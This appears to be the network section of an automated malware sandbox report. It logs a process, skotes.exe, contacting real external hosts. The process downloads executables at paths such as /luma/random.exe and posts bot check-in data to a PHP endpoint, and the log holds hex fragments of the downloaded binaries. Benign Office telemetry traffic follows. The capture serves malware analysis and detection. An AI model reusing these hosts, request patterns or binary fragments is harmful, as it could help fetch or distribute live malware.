<c>1006783001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1006784001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1006785001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1006786001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	56908	185.215.113.16	80	9180	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 01:40:08.324300051 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 17, 2024 01:40:09.254848003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 00:40:09 GMT Content-Type: application/octet-stream Content-Length: 1896960 Last-Modified: Sun, 17 Nov 2024 00:20:28 GMT Connection: keep-alive ETag: "673936cc-1cf200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4b 00 00 04 00 00 de 60 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL7gD0K@`K`@\p x@.rsrc @.idata @ +@bfdmawcw@0@@pacjmtzm K@.taggant00K"@
Nov 17, 2024 01:40:09.254863024 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:40:09.254878998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:40:09.254894018 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:40:09.254909992 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:40:09.255882978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:40:09.255897999 CET	112	IN	Data Raw: 09 d5 e8 f7 07 2c 14 c3 31 c4 3d 07 55 cf 55 72 bd 46 9d c3 a5 e7 d4 3d b9 21 3f 6a b1 5f fc fa 8c 91 a8 7e b6 0e a4 ed 6f 44 aa f6 8a 64 64 22 6c 8e cc 4b f1 a6 fc b6 69 5b 74 82 20 02 28 af 94 cc 4d f6 8b 84 f5 2f a7 58 0b ba 59 9f 01 08 3e 3d Data Ascii: ,1=UUrF=!?j_~oDdd"lKi[t (M/XY>=:YOCQ}]S!rb
Nov 17, 2024 01:40:09.262384892 CET	1236	IN	Data Raw: 36 72 e5 1b 96 d1 ed a9 16 af 04 33 c6 3b 8a bb 28 e9 b2 e6 46 9d 51 05 48 74 42 06 cc 82 14 5d 3a 26 14 53 1b 4d f3 be ca ca a2 84 cd e8 9e b7 ff 3b 0e b4 34 55 41 1b 82 c1 00 b0 b3 4e fe 53 c9 6f 48 39 43 e0 41 a9 75 ae 83 92 5c 4c ed 4b aa 5c Data Ascii: 6r3;(FQHtB]:&SM;4UANSoH9CAu\LK\46BQDhuJAmd(#VFVdo2sngnZZt6:M.Zq^~<[e4Fwlu;vV6#`-g3QBy\|>3M]7NDlV^^
Nov 17, 2024 01:40:09.262402058 CET	1236	IN	Data Raw: 3d 65 b0 12 6f ea 0c fb ae b2 fc 10 28 3a 22 b3 50 3b 21 9b d9 c2 5a 2f 72 06 50 23 6d 1b 2e 32 62 d1 68 09 e3 37 c2 bb ee 3b c9 cd 4b a5 b7 2b 9f d1 42 af 17 35 e4 a8 9d 6c e4 33 90 aa a2 bd d5 3e 96 86 d1 51 ac b2 4f 83 2f b1 3a 1c 45 32 a9 3c Data Ascii: =eo(:"P;!Z/rP#m.2bh7;K+B5l3>QO/:E2<l#%k\|)!MS*'SiFk{Rc<8i`mQ%q.bZUQ5oqC1EQ.,Yv;/A8}1c.2'E#
Nov 17, 2024 01:40:09.262415886 CET	224	IN	Data Raw: a6 ed f5 3f 3d 3d aa ec e8 47 1f 61 84 ac 50 c3 9d 84 29 13 57 3a 42 47 01 91 fc 8f 46 86 17 a6 11 84 2d 97 f7 1e ea fa a7 fc 0a c7 90 d4 45 3b 9e ea 8d a0 4d 83 84 df 4c 08 d3 d2 d4 7c a3 45 aa 18 06 a3 fd a2 41 cd 50 db e4 ad e4 30 c9 15 49 d9 Data Ascii: ?==GaP)W:BGF-E;ML\|EAP0IO+15b%.dRn]s"YZ'Hf6iPm]Cm\|6(uR;*\|sMyHz@&KDf^kz3C=nO@!MZldyuwlF#HZ
Nov 17, 2024 01:40:09.263658047 CET	1236	IN	Data Raw: da de fa b3 4b 7f e3 24 25 56 eb e9 d2 5f 46 e2 c4 ef d0 59 e6 d3 79 aa 15 11 49 7f 97 dc 06 e5 3c 17 6e 83 f2 ca 32 41 a4 38 9d d8 9f 2e ac ca 51 e9 e1 97 5c 9f 30 0b a0 db ea 53 32 3d 22 84 e2 e5 61 5d 9a 31 1e 25 0f 2f ca 32 a2 11 d1 01 7e ce Data Ascii: K$%V_FYyI<n2A8.Q\0S2="a]1%/2~7wml8\PA)Uc\|3w~FZDDtx!M=~=7Tz%?2a<nZ[U.; -ptRQ{IF*]exPfYC/J(L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	56910	185.215.113.43	80	9180	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 01:40:14.258394957 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 37 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006783001&unit=246122658369
Nov 17, 2024 01:40:15.169230938 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 00:40:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	56912	185.215.113.16	80	9180	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 01:40:15.190690994 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 17, 2024 01:40:16.098184109 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 00:40:15 GMT Content-Type: application/octet-stream Content-Length: 1829376 Last-Modified: Sun, 17 Nov 2024 00:20:35 GMT Connection: keep-alive ETag: "673936d3-1bea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 60 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 6a 00 00 04 00 00 99 c9 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$`j@j@M$a$$ $b@.rsrc$r@.idata $t@ @+$v@goeovovzPPLx@wohpezljPj@.taggant0`j"@
Nov 17, 2024 01:40:16.098202944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:40:16.098218918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:40:16.098234892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:40:16.098298073 CET	1236	IN	Data Raw: 38 82 7d 11 0b 67 d2 8e 43 13 06 94 ce ea ea 98 38 f1 03 ec 8a 4c a9 2e 2b eb 46 ed 66 82 d9 84 9b 62 28 8d c5 47 36 ee 05 01 c7 41 36 ee 10 25 e3 98 09 9d 2b ef ac 66 24 e2 02 e9 d5 f2 1c 5e a3 35 a5 4d bb 59 41 e8 10 7f 0e ec ac 18 f9 03 23 da Data Ascii: 8}gC8L.+Ffb(G6A6%+f$^5MYA#!VQcn3W@Xy(p8`pJ96f<uey;%wo./'M04io_S4)$e~"<skK#Cg[+L/D>cj4[5B
Nov 17, 2024 01:40:16.098314047 CET	1236	IN	Data Raw: 35 83 10 2e 0c ea e2 65 8d 5f 9e 13 7a c7 35 f6 39 dc 44 9e 4c 4a 4a b1 8b 2d 99 f6 e4 db c0 03 1d dd ba 90 05 3e 14 67 78 8c 03 e9 63 fc 6e 06 6a 07 c2 93 cc cc c0 cb c7 7f d2 75 a5 a4 17 de 7a 79 43 63 2f 83 1f 45 64 5e 82 c8 2c 7e 99 3d 6c a5 Data Ascii: 5.e_z59DLJJ->gxcnjuzyCc/Ed^,~=l)lH~%B25*.4=gef!b/ .S3n(1%ly6JY\|gpR%,,%&`w:qC^r'F=B;yW^wb4}+on;S#y%
Nov 17, 2024 01:40:16.098330021 CET	1236	IN	Data Raw: 2b b2 e3 49 d4 c2 a0 41 65 d2 ba 03 8b c2 c6 0b 57 1e b5 85 6b bc f1 05 8b da b8 47 a7 ea 78 41 2f 25 d2 80 7b d5 f2 0c 67 28 c2 f1 41 a2 bb 63 9b de 34 1e 87 ab 90 3c 39 9f 18 8c a7 dc 48 1d 73 ab 7a 3e aa a2 c4 63 c3 de 68 1e 1b 1e ca ac 68 04 Data Ascii: +IAeWkGxA/%{g(Ac4<9Hsz>chh+n=8e_%Cg9:>S;ET+cs,:&?+L>/(H9h"@2"4=G@cu=4<C;3+SmIs[4VlS8
Nov 17, 2024 01:40:16.098345995 CET	1084	IN	Data Raw: 28 f5 91 11 b0 09 7a 20 35 ce 32 12 27 28 d5 c6 47 5c 78 4c b1 b0 80 80 a3 25 f9 b0 67 b5 34 62 2b b0 4c 41 97 a2 08 9b 6c 9f 0e b4 2b b0 78 40 f7 bc 39 24 aa de bf 7f 76 a2 c9 e3 65 36 3a 20 93 f0 fa 33 1b b0 b8 0b 48 22 ed 87 b3 f4 44 d6 34 c2 Data Ascii: (z 52'(G\xL%g4b+LAl+x@9$ve6: 3H"D4#_'Gce?[j{';$5ke`%%tbS!lL95$c!?I'^Ge< Hhws!9CD]">' B"K'2~e
Nov 17, 2024 01:40:16.098364115 CET	1236	IN	Data Raw: 43 00 e3 7f 0e ac a8 0d d9 e0 c6 d7 73 d2 c6 3b a7 bc 1c 86 68 3a ba 82 dd f8 f2 1c 73 ae 7c 15 4c 21 f6 0b 7b 22 11 41 af a4 c6 6c 68 e8 e0 83 93 de c4 1d 7e c4 71 90 9b b0 d1 7f 2b 62 39 8c 68 2c 91 e1 55 1e 31 12 97 26 3a 2b 6b dc 58 80 65 4a Data Ascii: Cs;h:s\|L!{"Alh~q+b9h,U1&:+kXeJ9uiC<BDez7V"an+eS2./3@jl<=Ef77IwYk=fOFc>CPT9H/1Fz$l8y+X>O%\|;2
Nov 17, 2024 01:40:16.098380089 CET	1236	IN	Data Raw: 27 cc d4 a3 a7 ab 60 40 c6 92 39 0a 87 3e c7 3d db bb 70 10 d7 0b d2 49 55 4a 79 0d f7 a2 74 9d 94 d2 c1 65 9e cb 0e fd 38 fa f0 0d a3 1f f3 1d 96 21 0a 1e 55 da 98 3d ac 8a b9 04 ae ab dd 9b 64 0a f5 3d 2f de 39 ef 66 9d c1 5b 65 bb 70 04 57 24 Data Ascii: '`@9>=pIUJyte8!U=d=/9f[epW$BIKkw{Jg%6OK+6oK0d><Ze2Rf@u38\85@+k"m"Bw_h=R7R8@5*=Gi\|kS
Nov 17, 2024 01:40:16.103279114 CET	1236	IN	Data Raw: 21 1e 20 d5 c2 d2 eb 50 44 ec f4 93 5d ab de d5 ad d0 19 7a 65 a6 d4 87 5b ee d3 01 fc fe c7 63 af 29 d7 5c 37 8a 1d 80 e5 73 49 37 ed e0 88 9f c3 ac f5 9c 3b 45 ee 56 24 67 b4 70 05 1e e6 90 79 47 f0 c4 bf ef 4f 59 cc 11 b8 57 39 9b 24 bf e5 aa Data Ascii: ! PD]ze[c)\7sI7;EV$gpyGOYW9$A,;Z]bDPoJI:Rd=h1@2NKRoBH\|M!Kq;_kD1Cu["!33.DaAC6C<ir,F?8>^FB

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49712	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:08 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4c 61 46 64 56 7a 49 37 57 6b 36 58 4c 73 47 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 32 36 32 31 36 33 63 36 37 61 63 39 61 34 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: LaFdVzI7Wk6XLsGd.1Context: 2262163c67ac9a43
2024-11-17 00:38:08 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 00:38:08 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4c 61 46 64 56 7a 49 37 57 6b 36 58 4c 73 47 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 32 36 32 31 36 33 63 36 37 61 63 39 61 34 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 6f 75 44 76 36 66 57 63 77 32 4b 58 6c 4e 6a 61 4b 6b 32 4c 71 54 4f 61 7a 72 34 62 46 76 76 52 42 44 72 71 54 46 4a 4b 6e 53 2b 55 49 2b 54 6a 51 77 62 43 4f 61 4c 4b 2f 47 6e 6e 6b 35 36 6e 73 6e 35 4e 4b 38 5a 37 70 4f 4d 4a 55 6d 36 6b 4e 6d 38 4d 72 42 69 45 68 43 52 39 7a 65 4a 4e 39 47 37 37 4a 32 4c 30 58 2b 6a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: LaFdVzI7Wk6XLsGd.2Context: 2262163c67ac9a43<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaouDv6fWcw2KXlNjaKk2LqTOazr4bFvvRBDrqTFJKnS+UI+TjQwbCOaLK/Gnnk56nsn5NK8Z7pOMJUm6kNm8MrBiEhCR9zeJN9G77J2L0X+jm
2024-11-17 00:38:08 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4c 61 46 64 56 7a 49 37 57 6b 36 58 4c 73 47 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 32 36 32 31 36 33 63 36 37 61 63 39 61 34 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: LaFdVzI7Wk6XLsGd.3Context: 2262163c67ac9a43<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 00:38:09 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-17 00:38:09 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 66 73 5a 54 55 61 6a 62 62 45 79 31 75 7a 67 38 55 44 6d 6b 78 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: fsZTUajbbEy1uzg8UDmkxg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:13 UTC	492	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:13 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 15 Nov 2024 16:53:09 GMT ETag: "0x8DD0595FBE5245A" x-ms-request-id: 46f8cbee-b01e-0053-74a3-37cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003813Z-16547b76f7fz92z5hC1DFWmdx800000001w0000000007k6g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:13 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-17 00:38:13 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-17 00:38:13 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-17 00:38:13 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 